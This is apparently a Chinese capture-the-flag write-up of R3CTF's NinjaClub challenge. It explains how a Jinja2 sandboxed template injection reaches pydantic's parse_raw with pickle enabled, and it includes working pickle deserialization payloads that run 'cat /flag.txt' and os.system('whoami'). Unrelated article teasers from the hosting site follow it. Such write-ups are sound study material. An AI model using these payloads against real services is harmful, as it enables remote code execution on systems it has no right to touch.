R3CTF NinjaClub复现

R3CTF NinjaClub jinjia2沙箱

题目源码

from jinja2.sandbox import SandboxedEnvironment, is_internal_attribute
from jinja2.exceptions import UndefinedError
from fastapi import FastAPI, Form
from fastapi.responses import HTMLResponse
from pydantic import BaseModel
from typing import Union
import uvicornapp = FastAPI()@app.get("/", response_class=HTMLResponse)
def index():return """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Ninja Club</title><style>body {font-family: 'Arial', sans-serif;background: #333;color: #fff;text-align: center;padding: 50px;}h1 {color: #4CAF50;}p {font-size: 1.2em;}a {display: inline-block;background: #4CAF50;color: #fff;padding: 10px 20px;margin: 20px 0;border-radius: 5px;text-decoration: none;transition: background-color 0.3s ease;}a:hover {background-color: #3e8e41;}.container {max-width: 600px;margin: auto;background: #222;padding: 20px;border-radius: 8px;box-shadow: 0 0 10px rgba(0,0,0,0.5);}</style>
</head>
<body><div class="container"><h1>Welcome to Ninja Club!</h1><p>Join us in the ninja club. We are present even in the sands of the Sahara. Sharpen your skills and become a master of stealth communications. Qualifications for entry are very strict, so preview your application first.</p><a href="/preview">Preview</a></div>
</body>
</html>
"""@app.get("/preview", response_class=HTMLResponse)
def preview_page():return """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Preview Ninja Club</title><style>body {font-family: 'Arial', sans-serif;background: #333;color: #fff;text-align: center;padding: 20px;}.container {max-width: 600px;margin: auto;background: #222;padding: 20px;border-radius: 8px;box-shadow: 0 0 10px rgba(0,0,0,0.5);}h1, p {margin: 20px 0;}label {display: block;margin: 10px 0 5px;text-align: left;color: #ccc;}input, textarea {width: calc(100% - 20px);padding: 10px;margin-top: 5px;border-radius: 4px;border: none;box-sizing: border-box;}button {background-color: #4CAF50;color: white;border: none;padding: 10px 20px;margin: 20px 0;border-radius: 5px;cursor: pointer;transition: background-color 0.3s;}button:hover {background-color: #3e8e41;}#output {background: #444;padding: 10px;margin-top: 20px;border-radius: 5px;min-height: 50px;word-wrap: break-word;}form {text-align: left;}</style>
</head>
<body><div class="container"><h1>Mailer Preview</h1><p>Customize your ninja message:</p><form id="form" onsubmit="handleSubmit(event);"><label for="name">Name variable:</label><input id="name" name="name" value="John" /><label for="description">Description variable:</label><input id="description" name="description" placeholder="Describe yourself here..." /><label for="age">Age variable:</label><input id="age" name="age" type="number" value="18" /><label for="template">Template:</label><textarea id="template" name="template" rows="10">Hello {{user.name}}, are you older than {{user.age}}?</textarea><button type="submit">Preview</button></form><div id="output">Preview will appear here...</div></div><script>function handleSubmit(event) {event.preventDefault();const data = new FormData(event.target);const body = {user: {}, template: {source: data.get('template')}};body.user.name = data.get('name');body.user.description = data.get('description');body.user.age = data.get('age');fetch('/preview', {method: 'POST', headers: { 'Content-Type': 'application/json' },body: JSON.stringify(body)}).then(response => response.text()).then(html => document.getElementById('output').innerHTML = html).catch(error => console.error('Error:', error));}</script>
</body>
</html>
"""
class User(BaseModel):name: strdescription: Union[str, None] = Noneage: intclass Template(BaseModel):source: str@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):env = SandboxedEnvironment()try:preview = env.from_string(template.source).render(user=user)return previewexcept UndefinedError as e:return eif __name__ == "__main__":uvicorn.run(app, host="127.0.0.1", port=8001)

首先锁定我们的漏洞代码

@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):env = SandboxedEnvironment()try:preview = env.from_string(template.source).render(user=user)return previewexcept UndefinedError as e:return e

它是会进行一个模板解析的,那就是有ssti的风险,而且我们看一下示例

可以看见的是我们的{{}}内容是成功被解析了的

image-20240614203349810

那就是一道ssti 的题目,但是这个问题是,它是在

env = SandboxedEnvironment()

沙箱中,这个沙箱会有严格的过滤,几乎是不可能绕过的,我们看看过滤了什么

这是我们的调用栈

is_internal_attribute, sandbox.py:125
is_safe_attribute, sandbox.py:265
getattr, sandbox.py:333
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973
    if isinstance(obj, types.FunctionType):if attr in UNSAFE_FUNCTION_ATTRIBUTES:return Trueelif isinstance(obj, types.MethodType):if attr in UNSAFE_FUNCTION_ATTRIBUTES or attr in UNSAFE_METHOD_ATTRIBUTES:return Trueelif isinstance(obj, type):if attr == "mro":return Trueelif isinstance(obj, (types.CodeType, types.TracebackType, types.FrameType)):return Trueelif isinstance(obj, types.GeneratorType):if attr in UNSAFE_GENERATOR_ATTRIBUTES:return Trueelif hasattr(types, "CoroutineType") and isinstance(obj, types.CoroutineType):if attr in UNSAFE_COROUTINE_ATTRIBUTES:return Trueelif hasattr(types, "AsyncGeneratorType") and isinstance(obj, types.AsyncGeneratorType):if attr in UNSAFE_ASYNC_GENERATOR_ATTRIBUTES:return Truereturn attr.startswith("__")

可以看到是一些过滤

反正前人就是很难绕过的,这种时候就要变换思路了,但是漏洞点还是在ssti,因为__的过滤,所以很多内置的函数就不可以使用了,然后我们看看这个类本身有什么函数,因为这个类的话是没什么利用函数的,我们看到这个函数还继承了

class User(BaseModel):name: strdescription: Union[str, None] = Noneage: int

是继承了BaseModel类,我们看看这个类有什么危险函数

来到我们的这个函数,因为它有一个参数非常让我们怀疑,就是我们的allow_pickle

image-20240614205937138

我们再详细跟踪看一看load_str_bytes方法

    if proto is None and content_type:if content_type.endswith(('json', 'javascript')):passelif allow_pickle and content_type.endswith('pickle'):proto = Protocol.pickleelse:raise TypeError(f'Unknown content-type: {content_type}')proto = proto or Protocol.jsonif proto == Protocol.json:if isinstance(b, bytes):b = b.decode(encoding)return json_loads(b)  # type: ignoreelif proto == Protocol.pickle:if not allow_pickle:raise RuntimeError('Trying to decode with pickle with allow_pickle=False')bb = b if isinstance(b, bytes) else b.encode()  # type: ignorereturn pickle.loads(bb)else:raise TypeError(f'Unknown protocol: {proto}')

可以看到只需要我们传入的参数满足一些条件是可以pickle反序列化的,而且我们的参数都是可以控制的

首先content_type=‘pickle’,allow_pickle=True

然后就是构造payload

可以用我们的pker工具

s = 'cat /flag.txt'
popen = GLOBAL('os', 'popen')
getattr = GLOBAL('__builtin__', 'getattr')
c = popen(s)
read = getattr(c, 'read')
d = read()
res = {}
res['name'] = d
res['age'] = 30
return res

不过需要学习语法,建议使用我们的

import os
import pickle
import base64class User:def __init__(self, username, age):self.username = usernameself.age=agedef __reduce__(self):return (eval, ("__import__('os').system('whoami')",))user = User("ljl", 18)
print(pickle.dumps(user))
pickle.loads(b"\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c!__import__('os').system('whoami')\x94\x85\x94R\x94.")

调用栈

parse_raw, main.py:1143
call, runtime.py:298
call, sandbox.py:393
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973

调用栈


parse_raw, main.py:1143
call, runtime.py:298
call, sandbox.py:393
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/30866.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

商超便利店收银系统源码推荐

细节决定成败&#xff0c;无论是做什么事情都要注重细节&#xff0c;让我们来看看关于商超便利店陈列的“细节”有哪些需要注意的地方。 首先要注意商品不要摆太高&#xff0c;放在适当位置即可&#xff01; 商超便利店内&#xff0c;销量最佳的物品摆放位置依次为与顾客视线…

卡巴斯基安全卡片

卡巴斯基委托我们制作展示各种安全场景的插图卡片&#xff0c;这些卡片用于在欧洲委员会支持下开发的互动在线培训课程。我们的设计师为这个项目创造了一种独特的风格&#xff0c;既美观又实用。卡片展示了可能出现的潜在危险情况&#xff0c;例如在购物中心、公交车站或办公室…

2004年上半年软件设计师【下午题】试题及答案

文章目录 2004年上半年软件设计师下午题--试题2004年上半年软件设计师下午题--答案2004年上半年软件设计师下午题–试题

若依 Excel导入 字段值转换 字典自动匹配转换等

Excel表格数据截图&#xff1a; 数据库结构&#xff1a;需要将数据转换为数值或char类型存储 转换结果&#xff1a; 未使用Excel注解参数的效果&#xff1a; 断点数据 使用Excel注解参数的效果&#xff1a; 断点数据 最终入库&#xff1a; 参考&#xff1a; http://doc.ru…

华为Pocket 2,夏日达人的时尚新宠!

夏天炎炎&#xff0c;适合撒欢~但时尚与便利从不缺席&#xff01;我的时尚新宠华为Pocket 2跟我一起。 高颜值的外观一定是出行拍照和搭配单品的选项&#xff0c;这款小巧精致的手机&#xff0c;外屏设计超级时尚,轻松搭配出夏日潮流风。它的外屏还支持个性化设置&#xff0c;…

0613,基本数据类型,表达式

目录 第三章&#xff08;基本数据类型&#xff09;思维导图 题目1&#xff0c;选做&#xff1a;0xCAFE的各种位运算 答案代码/补&#xff1a; 参考答案&#xff1a; 题目二&#xff0c;必做&#xff1a;判断闰年&#xff0c;下一天&#xff0c;两天时差&#xff0c;星期几…

红队实战宝典之内网渗透测试

本文源自《红队实战宝典之内网渗透测试》一书前言。 近年来&#xff0c;随着计算机网络技术的发展和应用范围的扩大&#xff0c;不同结构、不同规模的局域网和广域网迅速遍及全球。 以互联网为代表的计算机网络技术在短短几十年内经历了从0到1、从简单到复杂的飞速发展&#…

STM32单片机-PWR电源控制和WDG看门狗

STM32单片机-PWR电源控制和WDG看门狗 一、PWR简介二、低功耗模式三、修改主频&睡眠模式&停机模式&待机模式3.1 修改主频3.2 睡眠模式3.3 停机模式3.4 待机模式 四、WDG简介4.1 独立看门狗原理4.2 窗口看门狗原理4.3 IWDG和WWDG对比 五、独立看门狗&窗口看门狗5…

DrissionPage框架应用

DrissionPage框架应用 Scrapy框架可以自定义请求&#xff0c;我们经常使用的selenium,pypuppteer&#xff0c;playwight等模拟浏览器的环境执行网络的请求&#xff1b;但是以上都有被检测的风险&#xff0c;新晋浏览器防检测工具&#xff0c;不仅不需要繁琐的安装浏览器的内核&…

『大模型笔记』斯坦福大学教授李飞飞在2024年数据与人工智能峰会上的人工智能历史与未来

MAC 文章目录 一. 斯坦福大学教授李飞飞在2024年数据与人工智能峰会上的人工智能历史与未来引言过去与现在现代 AI 的进步未来的发展空间智能近期进展与未来展望文字输入制作视频机器人学习AI 与人类互动医疗健康应用结语二. 参考文献一. 斯坦福大学教授李飞飞在2024年数据与人…

全球AI视频技术竞赛加速:Runway即将推出更优更快的第三代AI视频模型|TodayAI

Runway即将在未来几天推出其更优更快的第三代AI视频模型&#xff0c;这是新一代模型中最小的一个。据公司透露&#xff0c;这款名为Gen-3的模型将带来“在真实度、一致性和动态效果上的重大提升”&#xff0c;同时在速度上也有显著的加快。 去年六月&#xff0c;Runway首次推出…

Mathtype与word字号对照+Mathtype与word字号对照

字体大小对照表如下 初号44pt 小初36pt 一号26pt 小一24pt 二号22pt 小二18pt 三号16pt 小三15pt 四号14pt 小四12pt 五号10.5pt 小五9pt 六号7.5pt 小六6.5pt 七号5.5pt 八号5pt 1 保存12pt文件 首选选择第一个公式&#xff0c;将其大小改为12pt 然后依次选择 “预置”—…

ClipArt ETC - 典雅的剪贴画网站

文章目录 ClipArt ETCClippix佛罗里达教学技术中心课堂数字内容 ClipArt ETC 网站地址&#xff1a; https://etc.usf.edu/clipart/ ClipArt ETC为学生和教师提供了超过71,500件高质量的教育剪贴画。 每个插图都有图像大小的选择以及学校项目中正确引用的完整源信息。 所有图像…

【Java】已解决java.sql.SQLRecoverableException异常

文章目录 一、分析问题背景二、可能出错的原因三、错误代码示例四、正确代码示例五、注意事项 已解决java.sql.SQLRecoverableException异常 在Java的数据库编程中&#xff0c;java.sql.SQLRecoverableException是一个重要的异常&#xff0c;它通常表示一个可以恢复的SQL异常。…

【扫雷游戏】C语言教程

Hi~&#xff01;这里是奋斗的小羊&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f4a5;&#x1f4a5;个人主页&#xff1a;奋斗的小羊 &#x1f4a5;&#x1f4a5;所属专栏&#xff1a;C语言 &#x1f680;本系列文章为个人学习…

低温环氧胶在指纹模组封装中的应用有哪些?

低温环氧胶在指纹模组封装中的应用有哪些&#xff1f; 低温环氧胶在指纹模组封装中的应用点主要包括以下几点&#xff1a; 金属环/框与FPC基板固定&#xff1a;低温固化环氧胶被推荐用于固定金属环或框到柔性印刷电路板(FPC)基板上&#xff0c;确保它们之间有稳固的连接。 传感…

国产数据库也开始堆砌功能了?试图在行业中炫技!

作者&#xff1a;IT邦德 中国DBA联盟(ACDU)成员&#xff0c;10余年DBA工作经验&#xff0c; Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主&#xff0c;全网粉丝10万 擅长主流Oracle、MySQL、PG、高斯及Greenplum备份恢复&#xff0c; 安装迁移&#xff0c;性能优化、故障…

数位统计DP——AcWing 338. 计数问题

数位统计DP 定义 数位DP&#xff08;Digital DP&#xff09;是一种用于解决与数字的数位相关问题的动态规划算法。它将数字的每一位看作一个状态&#xff0c;通过转移状态来计算满足特定条件的数字个数或其他相关统计信息。 运用情况 统计满足特定条件的数字个数&#xff0…

成都欣丰洪泰文化传媒有限公司开网店怎么样?

在数字化浪潮汹涌的今天&#xff0c;电商行业蓬勃发展&#xff0c;成为推动经济增长的重要引擎。在这个竞争激烈的市场环境中&#xff0c;如何脱颖而出&#xff0c;成为电商领域的佼佼者&#xff1f;成都欣丰洪泰文化传媒有限公司以其专业的电商服务&#xff0c;为众多商家提供…